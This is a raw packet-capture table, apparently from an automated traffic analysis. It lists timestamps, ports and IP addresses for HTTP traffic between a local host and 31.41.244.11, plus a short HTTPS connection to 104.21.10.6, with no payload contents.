Nov 24, 2024 14:24:23.626710892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.626754999 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.626823902 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.627028942 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.627645969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.627706051 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.627741098 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.627779961 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.628595114 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.628716946 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.628776073 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.629528046 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.629661083 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.629704952 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.630449057 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.630484104 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.630567074 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.631326914 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.631414890 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.631453037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.631582975 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.631628036 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.632277012 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.632344961 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.632412910 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.632457972 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.633208036 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.633313894 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.633357048 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.634145021 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.634267092 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.634306908 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.635113955 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.635225058 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.635257959 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.636046886 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.636089087 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.636169910 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.636219978 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.636970043 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.637012005 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.637096882 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.637132883 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.637912989 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.637958050 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.638034105 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.638066053 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.640536070 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.640607119 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.640616894 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.640655041 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.640681982 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.640743971 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.640753984 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.640764952 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.640789032 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.640811920 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.641594887 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.641690969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.641731977 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.642529964 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.642648935 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.642688036 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.643445015 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.643587112 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.643629074 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.644376993 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.644463062 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.644505978 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.645318031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.645359039 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.645411015 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.646239042 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.646284103 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.646349907 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.647180080 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.647219896 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.647252083 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.648109913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.648147106 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.648216009 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.648255110 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.649153948 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.649267912 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.649313927 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.649964094 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.650079966 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.650120974 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.650860071 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.650897980 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.650974989 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.651362896 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.651813984 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.651848078 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.651933908 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.652767897 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.652806997 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.652867079 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.653682947 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.653723001 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.653866053 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.654635906 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.654714108 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.654716969 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.655261993 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.655571938 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.655677080 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.655726910 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.656464100 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.656580925 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.656631947 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.657382011 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.657427073 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.657555103 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.657772064 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.658365011 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.658416033 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.658484936 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.658536911 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.659248114 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.659296989 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.659353971 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.659394026 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.660206079 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.660260916 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.660264015 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.660294056 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.661114931 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.661201954 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.661247015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.662031889 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.662131071 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.662174940 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.815406084 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.815454960 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.815582991 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.815630913 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.815853119 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.815901041 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.815993071 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.816179037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.816757917 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.816802025 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.816858053 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.816903114 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.817693949 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.817735910 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.817804098 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.817876101 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.818625927 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.818670034 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.818731070 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.818783045 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.819557905 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.819602966 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.819648027 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.819690943 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.820471048 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.820585966 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.820621014 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.821419001 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.821465969 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.821499109 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.821547985 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.822355986 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.822405100 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.822436094 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.822470903 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.823260069 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.823304892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.823304892 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.823391914 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.824192047 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.824235916 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.824285030 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.824326992 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.825120926 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.825167894 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.825217009 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.825258970 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.826072931 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.826167107 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.826195955 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.826225042 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.826984882 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.827032089 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.827117920 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.827265024 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.827933073 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.827979088 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.828099012 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.828172922 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.828841925 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.828893900 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.828967094 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.829009056 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.829772949 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.829833984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.829874039 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.829917908 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.830704927 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.830750942 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.830807924 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.830950975 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.831670046 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.831727028 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.831751108 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.831790924 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.832634926 CET	443	49793	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:23.832643986 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.832709074 CET	49793	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:23.832709074 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.832716942 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.832766056 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.833543062 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.833594084 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.833677053 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.833811998 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.833939075 CET	49793	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:23.833946943 CET	443	49793	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:23.834425926 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.834502935 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.834625959 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.834669113 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.834669113 CET	443	49793	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:23.835402966 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.835447073 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.835485935 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.835500002 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.835977077 CET	49793	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:23.836088896 CET	49793	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:23.836123943 CET	443	49793	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:23.836304903 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.836369991 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.836493015 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.836538076 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.837241888 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.837330103 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.837363958 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.837414026 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.838161945 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.838207960 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.838253975 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.838296890 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.839170933 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.839215994 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.839243889 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.839281082 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.839998007 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.840044022 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.840111017 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.840246916 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.840961933 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.841027975 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.841058969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.841094971 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.841877937 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.841933012 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.841994047 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.842048883 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.842807055 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.842850924 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.842916012 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.842957973 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.843727112 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.843770027 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.843817949 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.843862057 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.844661951 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.844763994 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.844789028 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.844804049 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.845583916 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.845645905 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.845674038 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.845716953 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.846487999 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.846568108 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.846599102 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.846643925 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.847469091 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.847515106 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.847546101 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.847585917 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.848387003 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.848433018 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.848443031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.848481894 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.849313021 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.849358082 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.849414110 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.849457026 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.850228071 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.850274086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.850330114 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.850506067 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.851162910 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.851208925 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.851274967 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.851330042 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.852108002 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.852154970 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.852217913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.852261066 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.853143930 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.853192091 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.853266954 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.853308916 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.854054928 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.854144096 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.854195118 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.854237080 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.854876041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.854918003 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.854969978 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.855011940 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.855815887 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.855859041 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.855926037 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.855993986 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.856755972 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.856803894 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.856865883 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.856941938 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.857669115 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.857712030 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.857829094 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.857871056 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.858602047 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.858709097 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.858753920 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.859524965 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.859568119 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.859635115 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.859675884 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.860454082 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.860502958 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.860574961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:23.860618114 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:23.861437082 CET	80	49778	31.41.244.11	192.168.2.4
